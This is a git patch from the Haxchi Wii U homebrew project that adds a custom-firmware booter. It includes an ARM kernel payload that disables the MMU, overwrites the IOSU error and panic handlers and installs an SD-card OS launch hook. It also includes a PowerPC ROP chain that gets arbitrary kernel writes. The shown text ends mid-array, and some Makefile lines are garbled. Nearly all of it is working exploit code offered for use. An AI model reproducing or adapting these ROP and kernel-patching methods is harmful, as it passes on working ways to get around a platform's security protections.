From be37e6d60d634c0e66a110783c1f51d7dccfae72 Mon Sep 17 00:00:00 2001 From: FIX94 Date: Sat, 12 Nov 2016 03:29:35 +0100 Subject: [PATCH] -added ported cfw booter to directly boot into a fw.img on sd card --- Makefile | 54 +++- brainage_defs.s | 2 - cfw_booter/Makefile | 50 ++++ cfw_booter/README | 2 + cfw_booter/arm_kernel/Makefile | 71 +++++ cfw_booter/arm_kernel/link.ld | 18 ++ cfw_booter/arm_kernel/source/crt0.s | 12 + cfw_booter/arm_kernel/source/main.c | 124 +++++++++ cfw_booter/arm_kernel/source/types.h | 16 ++ cfw_booter/arm_kernel/source/utils.c | 25 ++ cfw_booter/arm_kernel/source/utils.h | 7 + cfw_booter/arm_user/Makefile | 71 +++++ cfw_booter/arm_user/link.ld | 18 ++ cfw_booter/arm_user/source/crt0.s | 20 ++ cfw_booter/arm_user/source/main.c | 30 ++ cfw_booter/arm_user/source/types.h | 16 ++ cfw_booter/arm_user/source/utils.c | 25 ++ cfw_booter/arm_user/source/utils.h | 7 + cfw_booter/coreinit.h | 31 +++ cfw_booter/crt0.S | 7 + cfw_booter/main.c | 394 +++++++++++++++++++++++++++ cfw_booter/types.h | 22 ++ haxchi.s | 2 +- kirby_defs.s | 2 - yoshids_defs.s | 2 - 25 files changed, 1016 insertions(+), 12 deletions(-) create mode 100644 cfw_booter/Makefile create mode 100644 cfw_booter/README create mode 100644 cfw_booter/arm_kernel/Makefile create mode 100644 cfw_booter/arm_kernel/link.ld create mode 100644 cfw_booter/arm_kernel/source/crt0.s create mode 100644 cfw_booter/arm_kernel/source/main.c create mode 100644 cfw_booter/arm_kernel/source/types.h create mode 100644 cfw_booter/arm_kernel/source/utils.c create mode 100644 cfw_booter/arm_kernel/source/utils.h create mode 100644 cfw_booter/arm_user/Makefile create mode 100644 cfw_booter/arm_user/link.ld create mode 100644 cfw_booter/arm_user/source/crt0.s create mode 100644 cfw_booter/arm_user/source/main.c create mode 100644 cfw_booter/arm_user/source/types.h create mode 100644 cfw_booter/arm_user/source/utils.c create mode 100644 cfw_booter/arm_user/source/utils.h create mode 100644 cfw_booter/coreinit.h create mode 100644 cfw_booter/crt0.S create mode 100644 cfw_booter/main.c create mode 100644 cfw_booter/types.h diff --git a/Makefile b/Makefile index 5db9de6..34392e5 100644 --- a/Makefile +++ b/Makefile @@ -1,12 +1,12 @@ .PHONY := all code550.bin -all: brainage kirby yoshids brainage.zip kirby.zip yoshids.zip +all: brainage kirby yoshids brainage.zip kirby.zip yoshids.zip brainage_cfw.zip kirby_cfw.zip yoshids_cfw.zip -brainage: setup_brainage brainage.nds +brainage: setup_brainage brainage.nds setup_brainage_cfw brainage_cfw.nds -kirby: setup_kirby kirby.nds +kirby: setup_kirby kirby.nds setup_kirby_cfw kirby_cfw.nds -yoshids: setup_yoshids yoshids.nds +yoshids: setup_yoshids yoshids.nds setup_yoshids_cfw yoshids_cfw.nds setup_brainage: rm -f *.bin @@ -23,17 +23,50 @@ setup_yoshids: @cd hbl_loader && make && cd .. @cp -f yoshids_defs.s defines.s +setup_brainage_cfw: + rm -f *.bin + @cd cfw_booter && make && cd .. + @cp -f brainage_defs.s defines.s + +setup_kirby_cfw: + rm -f *.bin + @cd cfw_booter && make && cd .. + @cp -f kirby_defs.s defines.s + +setup_yoshids_cfw: + rm -f *.bin + @cd cfw_booter && make && cd .. + @cp -f yoshids_defs.s defines.s + brainage.nds: armips haxchi_rop.s armips haxchi.s + mv rom.nds brainage.nds kirby.nds: armips haxchi_rop.s armips haxchi.s + mv rom.nds kirby.nds yoshids.nds: armips haxchi_rop.s armips haxchi.s + mv rom.nds yoshids.nds + +brainage_cfw.nds: + armips haxchi_rop.s + armips haxchi.s + mv rom.nds brainage_cfw.nds + +kirby_cfw.nds: + armips haxchi_rop.s + armips haxchi.s + mv rom.nds kirby_cfw.nds + +yoshids_cfw.nds: + armips haxchi_rop.s + armips haxchi.s + mv rom.nds yoshids_cfw.nds brainage.zip: zip -JXjq9 brainage.zip brainage.nds @@ -44,7 +77,18 @@ kirby.zip: yoshids.zip: zip -JXjq9 yoshids.zip yoshids.nds +brainage_cfw.zip: + zip -JXjq9 brainage_cfw.zip brainage_cfw.nds + +kirby_cfw.zip: + zip -JXjq9 kirby_cfw.zip kirby_cfw.nds + +yoshids_cfw.zip: + zip -JXjq9 yoshids_cfw.zip yoshids_cfw.nds + clean: - @rm -f *.bin brainage.nds brainage.zip kirby.nds kirby.zip yoshids.nds yoshids.zip + @rm -f *.bin defines.s brainage.nds brainage.zip kirby.nds kirby.zip yoshids.nds yoshids.zip + @rm -f brainage_cfw.nds brainage_cfw.zip kirby_cfw.nds kirby_cfw.zip yoshids_cfw.nds yoshids_cfw.zip + @cd cfw_booter && make clean && cd .. @cd hbl_loader && make clean && cd .. @echo "all cleaned up !" diff --git a/brainage_defs.s b/brainage_defs.s index 3361889..714a650 100644 --- a/brainage_defs.s +++ b/brainage_defs.s @@ -1,6 +1,4 @@ -FILE_NDS_NAME equ "brainage.nds" - ; game stack return address HAX_TARGET_ADDRESS equ (0x1076FAA4) diff --git a/cfw_booter/Makefile b/cfw_booter/Makefile new file mode 100644 index 0000000..0e9541d --- /dev/null +++ b/cfw_booter/Makefile @@ -0,0 +1,50 @@ +PATH := $(DEVKITPPC)/bin:$(PATH) +PREFIX ?= powerpc-eabi- +CC = $(PREFIX)gcc +AS = $(PREFIX)gcc +CFLAGS = -std=gnu99 -O0 -nostdinc -fno-builtin -g +ASFLAGS = -mregnames -x assembler-with-cpp +LD = $(PREFIX)ld +OBJCOPY = $(PREFIX)objcopy +LDFLAGS=-Ttext 1800000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 -lgcc +OBJDUMP ?= $(PREFIX)objdump +project := . +root := $(CURDIR) +build := $(root)/bin + +CFLAGS += -DUSE_SD_LOADER +ASFLAGS += -DUSE_SD_LOADER +FIRMWARE = 550 + +all: clean setup main + +$(CURDIR)/payload/arm_kernel_bin.h: $(CURDIR)/payload/arm_user_bin.h + @$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile + @-mkdir -p $(CURDIR)/payload + @cp -p $(CURDIR)/arm_kernel/arm_kernel_bin.h $@ + +$(CURDIR)/payload/arm_user_bin.h: + @$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile + @-mkdir -p $(CURDIR)/payload + @cp -p $(CURDIR)/arm_user/arm_user_bin.h $@ + +setup: + mkdir -p $(root)/bin/ + +main: $(CURDIR)/payload/arm_kernel_bin.h + $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/main.c + $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S + cp -r $(root)/*.o $(build) + rm $(root)/*.o + $(LD) -o code$(FIRMWARE).elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map code.map + $(OBJCOPY) code$(FIRMWARE).elf -O binary ../code$(FIRMWARE).bin + +clean: + rm -rf $(build) payload + rm -rf code$(FIRMWARE).elf code.map + $(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile clean + $(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile clean + +print_stats: + @echo + @echo "code size : loadiine =>" `$(OBJDUMP) -h ../loadiine.elf | awk '/.kernel_code|.text|.menu_magic|.loader_magic|.fs_method_calls|.rodata|.data|.sdata|.bss|.sbss|.fs_magic/ { sum+=strtonum("0x"$$3) } END {print sum}'` / 7530312 diff --git a/cfw_booter/README b/cfw_booter/README new file mode 100644 index 0000000..2dbcc78 --- /dev/null +++ b/cfw_booter/README @@ -0,0 +1,2 @@ +This is a modified version of cfw booter which can be found here: +https://github.com/dimok789/cfw_booter \ No newline at end of file diff --git a/cfw_booter/arm_kernel/Makefile b/cfw_booter/arm_kernel/Makefile new file mode 100644 index 0000000..54df575 --- /dev/null +++ b/cfw_booter/arm_kernel/Makefile @@ -0,0 +1,71 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +CC = arm-none-eabi-gcc +# LINK = arm-none-eabi-gcc +LINK = arm-none-eabi-ld +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include +LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" -Map=output.map + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)"" + +#--------------------------------------------------------------------------------- +# canned command sequence for binary data, taken from devkitARM +#--------------------------------------------------------------------------------- +define bin2o + bin2s $< | $(AS) -o $(@) + echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ + +$(PROJECTNAME).elf: $(OFILES) + $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES)) + +clean: + @rm -rf build + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h output.map + @echo "all cleaned up !" + +-include $(DFILES) + +build/%.o: source/%.c + $(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo $(notdir $<) + @$(bin2o) diff --git a/cfw_booter/arm_kernel/link.ld b/cfw_booter/arm_kernel/link.ld new file mode 100644 index 0000000..c28ba4a --- /dev/null +++ b/cfw_booter/arm_kernel/link.ld @@ -0,0 +1,18 @@ +OUTPUT_ARCH(arm) + +MEMORY +{ + RAMX (rx) : ORIGIN = 0x08134100, LENGTH = 0x000BF00 +} + +SECTIONS +{ + .text : ALIGN(0x100) { + build/crt0.o(.init) + *(.text) + } + .rodata : { + *(.rodata*) + } +} + diff --git a/cfw_booter/arm_kernel/source/crt0.s b/cfw_booter/arm_kernel/source/crt0.s new file mode 100644 index 0000000..ae2a3b1 --- /dev/null +++ b/cfw_booter/arm_kernel/source/crt0.s @@ -0,0 +1,12 @@ +.section ".init" +.arm +.align 4 + +.extern _main +.type _main, %function + +.extern memset +.type memset, %function + +_start: + b _main diff --git a/cfw_booter/arm_kernel/source/main.c b/cfw_booter/arm_kernel/source/main.c new file mode 100644 index 0000000..4c675e3 --- /dev/null +++ b/cfw_booter/arm_kernel/source/main.c @@ -0,0 +1,124 @@ +#include "types.h" +#include "utils.h" +#include "../../payload/arm_user_bin.h" + +static const char repairData_set_fault_behavior[] = { + 0xE1,0x2F,0xFF,0x1E,0xE9,0x2D,0x40,0x30,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x40,0x00, + 0xE5,0x92,0x30,0x54,0xE1,0xA0,0x50,0x01,0xE3,0x53,0x00,0x01,0x0A,0x00,0x00,0x02, + 0xE1,0x53,0x00,0x00,0xE3,0xE0,0x00,0x00,0x18,0xBD,0x80,0x30,0xE3,0x54,0x00,0x0D, +}; +static const char repairData_set_panic_behavior[] = { + 0x08,0x16,0x6C,0x00,0x00,0x00,0x18,0x0C,0x08,0x14,0x40,0x00,0x00,0x00,0x9D,0x70, + 0x08,0x16,0x84,0x0C,0x00,0x00,0xB4,0x0C,0x00,0x00,0x01,0x01,0x08,0x14,0x40,0x00, + 0x08,0x15,0x00,0x00,0x08,0x17,0x21,0x80,0x08,0x17,0x38,0x00,0x08,0x14,0x30,0xD4, + 0x08,0x14,0x12,0x50,0x08,0x14,0x12,0x94,0xE3,0xA0,0x35,0x36,0xE5,0x93,0x21,0x94, + 0xE3,0xC2,0x2E,0x21,0xE5,0x83,0x21,0x94,0xE5,0x93,0x11,0x94,0xE1,0x2F,0xFF,0x1E, + 0xE5,0x9F,0x30,0x1C,0xE5,0x9F,0xC0,0x1C,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x10,0x00, + 0xE5,0x92,0x30,0x54,0xE5,0x9C,0x00,0x00, +}; +static const char repairData_usb_root_thread[] = { + 0xE5,0x8D,0xE0,0x04,0xE5,0x8D,0xC0,0x08,0xE5,0x8D,0x40,0x0C,0xE5,0x8D,0x60,0x10, + 0xEB,0x00,0xB2,0xFD,0xEA,0xFF,0xFF,0xC9,0x10,0x14,0x03,0xF8,0x10,0x62,0x4D,0xD3, + 0x10,0x14,0x50,0x00,0x10,0x14,0x50,0x20,0x10,0x14,0x00,0x00,0x10,0x14,0x00,0x90, + 0x10,0x14,0x00,0x70,0x10,0x14,0x00,0x98,0x10,0x14,0x00,0x84,0x10,0x14,0x03,0xE8, + 0x10,0x14,0x00,0x3C,0x00,0x00,0x01,0x73,0x00,0x00,0x01,0x76,0xE9,0x2D,0x4F,0xF0, + 0xE2,0x4D,0xDE,0x17,0xEB,0x00,0xB9,0x92,0xE3,0xA0,0x10,0x00,0xE3,0xA0,0x20,0x03, + 0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20, +}; + +/* from smealum's iosuhax: must be placed at 0x05059938 */ +static const char os_launch_hook[] = { + 0x47, 0x78, 0x00, 0x00, 0xe9, 0x2d, 0x40, 0x0f, 0xe2, 0x4d, 0xd0, 0x08, 0xeb, + 0xff, 0xfd, 0xfd, 0xe3, 0xa0, 0x00, 0x00, 0xeb, 0xff, 0xfe, 0x03, 0xe5, 0x9f, + 0x10, 0x4c, 0xe5, 0x9f, 0x20, 0x4c, 0xe3, 0xa0, 0x30, 0x00, 0xe5, 0x8d, 0x30, + 0x00, 0xe5, 0x8d, 0x30, 0x04, 0xeb, 0xff, 0xfe, 0xf1, 0xe2, 0x8d, 0xd0, 0x08, + 0xe8, 0xbd, 0x80, 0x0f, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x64, 0x63, 0x61, + 0x72, 0x64, 0x30, 0x31, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, 0x63, + 0x61, 0x72, 0x64, 0x00, 0x00, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, + 0x63, 0x61, 0x72, 0x64, 0x00, 0x05, 0x11, 0x60, 0x00, 0x05, 0x0b, 0xe0, 0x00, + 0x05, 0x0b, 0xcf, 0xfc, 0x05, 0x05, 0x99, 0x70, 0x05, 0x05, 0x99, 0x7e, +}; + +static const char sd_path[] = "/vol/sdcard"; + +static unsigned int __attribute__((noinline)) disable_mmu(void) +{ + unsigned int control_register = 0; + asm volatile("MRC p15, 0, %0, c1, c0, 0" : "=r" (control_register)); + asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register & 0xFFFFEFFA)); + return control_register; +} + +static void __attribute__((noinline)) restore_mmu(unsigned int control_register) +{ + asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register)); +} + +int _main() +{ + int(*disable_interrupts)() = (int(*)())0x0812E778; + int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C; + void(*invalidate_icache)() = (void(*)())0x0812DCF0; + void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164; + void(*flush_dcache)(unsigned int, unsigned int) = (void(*)())0x08120160; + char* (*kernel_memcpy)(void*, void*, int) = (char*(*)(void*, void*, int))0x08131D04; + + flush_dcache(0x081200F0, 0x4001); // giving a size >= 0x4000 flushes all cache + + int level = disable_interrupts(); + + unsigned int control_register = disable_mmu(); + + /* Save the request handle so we can reply later */ + *(volatile u32*)0x0012F000 = *(volatile u32*)0x1016AD18; + + /* Patch kernel_error_handler to BX LR immediately */ + *(int*)0x08129A24 = 0xE12FFF1E; + + void * pset_fault_behavior = (void*)0x081298BC; + kernel_memcpy(pset_fault_behavior, (void*)repairData_set_fault_behavior, sizeof(repairData_set_fault_behavior)); + + void * pset_panic_behavior = (void*)0x081296E4; + kernel_memcpy(pset_panic_behavior, (void*)repairData_set_panic_behavior, sizeof(repairData_set_panic_behavior)); + + void * pusb_root_thread = (void*)0x10100174; + kernel_memcpy(pusb_root_thread, (void*)repairData_usb_root_thread, sizeof(repairData_usb_root_thread)); + + void * pUserBinSource = (void*)0x00148000; + void * pUserBinDest = (void*)0x101312D0; + kernel_memcpy(pUserBinDest, (void*)pUserBinSource, sizeof(arm_user_bin)); + + int i; + for (i = 0; i < 32; i++) + if (i < 11) + ((char*)(0x050663B4 - 0x05000000 + 0x081C0000))[i] = sd_path[i]; + else + ((char*)(0x050663B4 - 0x05000000 + 0x081C0000))[i] = (char)0; + + *(int*)(0x050282AE - 0x05000000 + 0x081C0000) = 0xF031FB43; // bl launch_os_hook + + *(int*)(0x05052C44 - 0x05000000 + 0x081C0000) = 0xE3A00000; // mov r0, #0 + *(int*)(0x05052C48 - 0x05000000 + 0x081C0000) = 0xE12FFF1E; // bx lr + + *(int*)(0x0500A818 - 0x05000000 + 0x081C0000) = 0x20002000; // mov r0, #0; mov r0, #0 + + *(int*)(0x040017E0 - 0x04000000 + 0x08280000) = 0xE3A00000; + *(int*)(0x040019C4 - 0x04000000 + 0x08280000) = 0xE3A00000; + *(int*)(0x04001BB0 - 0x04000000 + 0x08280000) = 0xE3A00000; + *(int*)(0x04001D40 - 0x04000000 + 0x08280000) = 0xE3A00000; + + for (i = 0; i < sizeof(os_launch_hook); i++) + ((char*)(0x05059938 - 0x05000000 + 0x081C0000))[i] = os_launch_hook[i]; + + *(int*)(0x1555500) = 0; + + /* REENABLE MMU */ + restore_mmu(control_register); + + invalidate_dcache(0x081298BC, 0x4001); // giving a size >= 0x4000 invalidates all cache + invalidate_icache(); + + enable_interrupts(level); + + return 0; +} diff --git a/cfw_booter/arm_kernel/source/types.h b/cfw_booter/arm_kernel/source/types.h new file mode 100644 index 0000000..5d8eced --- /dev/null +++ b/cfw_booter/arm_kernel/source/types.h @@ -0,0 +1,16 @@ +#ifndef _TYPES_H +#define _TYPES_H + +#include + +typedef uint8_t u8; +typedef uint16_t u16; +typedef uint32_t u32; +typedef uint64_t u64; + +typedef int8_t s8; +typedef int16_t s16; +typedef int32_t s32; +typedef int64_t s64; + +#endif diff --git a/cfw_booter/arm_kernel/source/utils.c b/cfw_booter/arm_kernel/source/utils.c new file mode 100644 index 0000000..f02ae47 --- /dev/null +++ b/cfw_booter/arm_kernel/source/utils.c @@ -0,0 +1,25 @@ + +void* m_memcpy(void *dst, const void *src, unsigned int len) +{ + const unsigned char *src_ptr = (const unsigned char *)src; + unsigned char *dst_ptr = (unsigned char *)dst; + + while(len) + { + *dst_ptr++ = *src_ptr++; + --len; + } + return dst; +} + +void* m_memset(void *dst, int val, unsigned int bytes) +{ + unsigned char *dst_ptr = (unsigned char *)dst; + unsigned int i = 0; + while(i < bytes) + { + dst_ptr[i] = val; + ++i; + } + return dst; +} diff --git a/cfw_booter/arm_kernel/source/utils.h b/cfw_booter/arm_kernel/source/utils.h new file mode 100644 index 0000000..fd41db2 --- /dev/null +++ b/cfw_booter/arm_kernel/source/utils.h @@ -0,0 +1,7 @@ +#ifndef _UTILS_H_ +#define _UTILS_H_ + +void* m_memcpy(void *dst, const void *src, unsigned int len); +void* m_memset(void *dst, int val, unsigned int len); + +#endif diff --git a/cfw_booter/arm_user/Makefile b/cfw_booter/arm_user/Makefile new file mode 100644 index 0000000..54df575 --- /dev/null +++ b/cfw_booter/arm_user/Makefile @@ -0,0 +1,71 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +CC = arm-none-eabi-gcc +# LINK = arm-none-eabi-gcc +LINK = arm-none-eabi-ld +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include +LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" -Map=output.map + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)"" + +#--------------------------------------------------------------------------------- +# canned command sequence for binary data, taken from devkitARM +#--------------------------------------------------------------------------------- +define bin2o + bin2s $< | $(AS) -o $(@) + echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ + +$(PROJECTNAME).elf: $(OFILES) + $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES)) + +clean: + @rm -rf build + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h output.map + @echo "all cleaned up !" + +-include $(DFILES) + +build/%.o: source/%.c + $(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo $(notdir $<) + @$(bin2o) diff --git a/cfw_booter/arm_user/link.ld b/cfw_booter/arm_user/link.ld new file mode 100644 index 0000000..5408355 --- /dev/null +++ b/cfw_booter/arm_user/link.ld @@ -0,0 +1,18 @@ +OUTPUT_ARCH(arm) + +MEMORY +{ + RAMX (rx) : ORIGIN = 0x101312D0, LENGTH = 0x000BF00 +} + +SECTIONS +{ + .text : ALIGN(0x04) { + build/crt0.o(.init) + *(.text) + } + .rodata : { + *(.rodata*) + } +} + diff --git a/cfw_booter/arm_user/source/crt0.s b/cfw_booter/arm_user/source/crt0.s new file mode 100644 index 0000000..b5608cd --- /dev/null +++ b/cfw_booter/arm_user/source/crt0.s @@ -0,0 +1,20 @@ +.section ".init" +.arm +.align 4 + +.extern _main +.type _main, %function + +.extern memset +.type memset, %function + +_start: + b _main + + .global IOS_DCFlushAllCache +IOS_DCFlushAllCache: + MOV R15, R0 +clean_loop: + MRC p15, 0, r15, c7, c10, 3 + BNE clean_loop + MCR p15, 0, R0, c7, c10, 4 diff --git a/cfw_booter/arm_user/source/main.c b/cfw_booter/arm_user/source/main.c new file mode 100644 index 0000000..78cc80d --- /dev/null +++ b/cfw_booter/arm_user/source/main.c @@ -0,0 +1,30 @@ +#include "types.h" +#include "utils.h" + + +void _main() +{ + + void(*ios_shutdown)(int) = (void(*)(int))0x1012EE4C; + + int(*reply)(int, int) = (int(*)(int, int))0x1012ED04; + + int saved_handle = *(volatile u32*)0x0012F000; + int myret = reply(saved_handle, 0); + if (myret != 0) + ios_shutdown(1); + + // stack pointer will be 0x1016AE30 + // link register will be 0x1012EACC + asm("LDR SP, newsp\n" + "LDR R0, newr0\n" + "LDR LR, newlr\n" + "LDR PC, newpc\n" + "newsp: .word 0x1016AE30\n" + "newlr: .word 0x1012EACC\n" + "newr0: .word 0x10146080\n" + "newpc: .word 0x10111164\n"); + + + +} diff --git a/cfw_booter/arm_user/source/types.h b/cfw_booter/arm_user/source/types.h new file mode 100644 index 0000000..5d8eced --- /dev/null +++ b/cfw_booter/arm_user/source/types.h @@ -0,0 +1,16 @@ +#ifndef _TYPES_H +#define _TYPES_H + +#include + +typedef uint8_t u8; +typedef uint16_t u16; +typedef uint32_t u32; +typedef uint64_t u64; + +typedef int8_t s8; +typedef int16_t s16; +typedef int32_t s32; +typedef int64_t s64; + +#endif diff --git a/cfw_booter/arm_user/source/utils.c b/cfw_booter/arm_user/source/utils.c new file mode 100644 index 0000000..f02ae47 --- /dev/null +++ b/cfw_booter/arm_user/source/utils.c @@ -0,0 +1,25 @@ + +void* m_memcpy(void *dst, const void *src, unsigned int len) +{ + const unsigned char *src_ptr = (const unsigned char *)src; + unsigned char *dst_ptr = (unsigned char *)dst; + + while(len) + { + *dst_ptr++ = *src_ptr++; + --len; + } + return dst; +} + +void* m_memset(void *dst, int val, unsigned int bytes) +{ + unsigned char *dst_ptr = (unsigned char *)dst; + unsigned int i = 0; + while(i < bytes) + { + dst_ptr[i] = val; + ++i; + } + return dst; +} diff --git a/cfw_booter/arm_user/source/utils.h b/cfw_booter/arm_user/source/utils.h new file mode 100644 index 0000000..fd41db2 --- /dev/null +++ b/cfw_booter/arm_user/source/utils.h @@ -0,0 +1,7 @@ +#ifndef _UTILS_H_ +#define _UTILS_H_ + +void* m_memcpy(void *dst, const void *src, unsigned int len); +void* m_memset(void *dst, int val, unsigned int len); + +#endif diff --git a/cfw_booter/coreinit.h b/cfw_booter/coreinit.h new file mode 100644 index 0000000..cf9943e --- /dev/null +++ b/cfw_booter/coreinit.h @@ -0,0 +1,31 @@ +//Taken from libwiius coreinit.h + +#ifndef COREINIT_H +#define COREINIT_H + +#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4) +#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828) +#define OSFatal ((void (*)(char* msg))0x01031618) +#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160) + +typedef struct OSContext +{ + /* OSContext identifier */ + uint32_t tag1; + uint32_t tag2; + + /* GPRs */ + uint32_t gpr[32]; + + /* Special registers */ + uint32_t cr; + uint32_t lr; + uint32_t ctr; + uint32_t xer; + + /* Initial PC and MSR */ + uint32_t srr0; + uint32_t srr1; +} OSContext; + +#endif /* COREINIT_H */ \ No newline at end of file diff --git a/cfw_booter/crt0.S b/cfw_booter/crt0.S new file mode 100644 index 0000000..d2095cf --- /dev/null +++ b/cfw_booter/crt0.S @@ -0,0 +1,7 @@ + + .extern __main + .globl _start + +_start: + # jump to our main + b __main diff --git a/cfw_booter/main.c b/cfw_booter/main.c new file mode 100644 index 0000000..3f62b78 --- /dev/null +++ b/cfw_booter/main.c @@ -0,0 +1,394 @@ +#include "types.h" +#include "coreinit.h" + +#define CHAIN_START 0x1016AD40 +#define SHUTDOWN 0x1012EE4C +#define SIMPLE_RETURN 0x101014E4 +#define SOURCE (0x120000) +#define IOS_CREATETHREAD 0x1012EABC +#define ARM_CODE_BASE 0x08134100 +#define REPLACE_SYSCALL 0x081298BC + +/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */ +#include "payload/arm_kernel_bin.h" +#include "payload/arm_user_bin.h" + +/* ROP CHAIN STARTS HERE (0x1015BD78) */ +static const int final_chain[] = { + 0x101236f3, // 0x00 POP {R1-R7,PC} + 0x0, // 0x04 arg + 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR + 0x68, // 0x0C stacksize + 0x10101638, // 0x10 + 0x0, // 0x14 + 0x0, // 0x18 + 0x0, // 0x1C + 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} + 0x0, // 0x24 + 0x0, // 0x28 + 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x30 + 0x0, // 0x34 + IOS_CREATETHREAD, // 0x38 + 0x1, // 0x3C + 0x2, // 0x40 + 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE92D4010, // 0x4C value: PUSH {R4,LR} + 0x0, // 0x50 + 0x10123a8b, // 0x54 POP {R3,R4,PC} + 0x1, // 0x58 R3 must be 1 for the arbitrary write + 0x0, // 0x5C + 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x64 + 0x0, // 0x68 + 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) + 0x0, // 0x70 + 0x0, // 0x74 + 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A04000, // 0x80 value: MOV R4, R0 + 0x0, // 0x84 + 0x10123a8b, // 0x88 POP {R3,R4,PC} + 0x1, // 0x8C R3 must be 1 for the arbitrary write + 0x0, // 0x90 + 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x98 + 0x0, // 0x9C + 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) + 0x0, // 0xA4 + 0x0, // 0xA8 + 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF + 0x0, // 0xB8 + 0x10123a8b, // 0xBC POP {R3,R4,PC} + 0x1, // 0xC0 R3 must be 1 for the arbitrary write + 0x0, // 0xC4 + 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0xCC + 0x0, // 0xD0 + 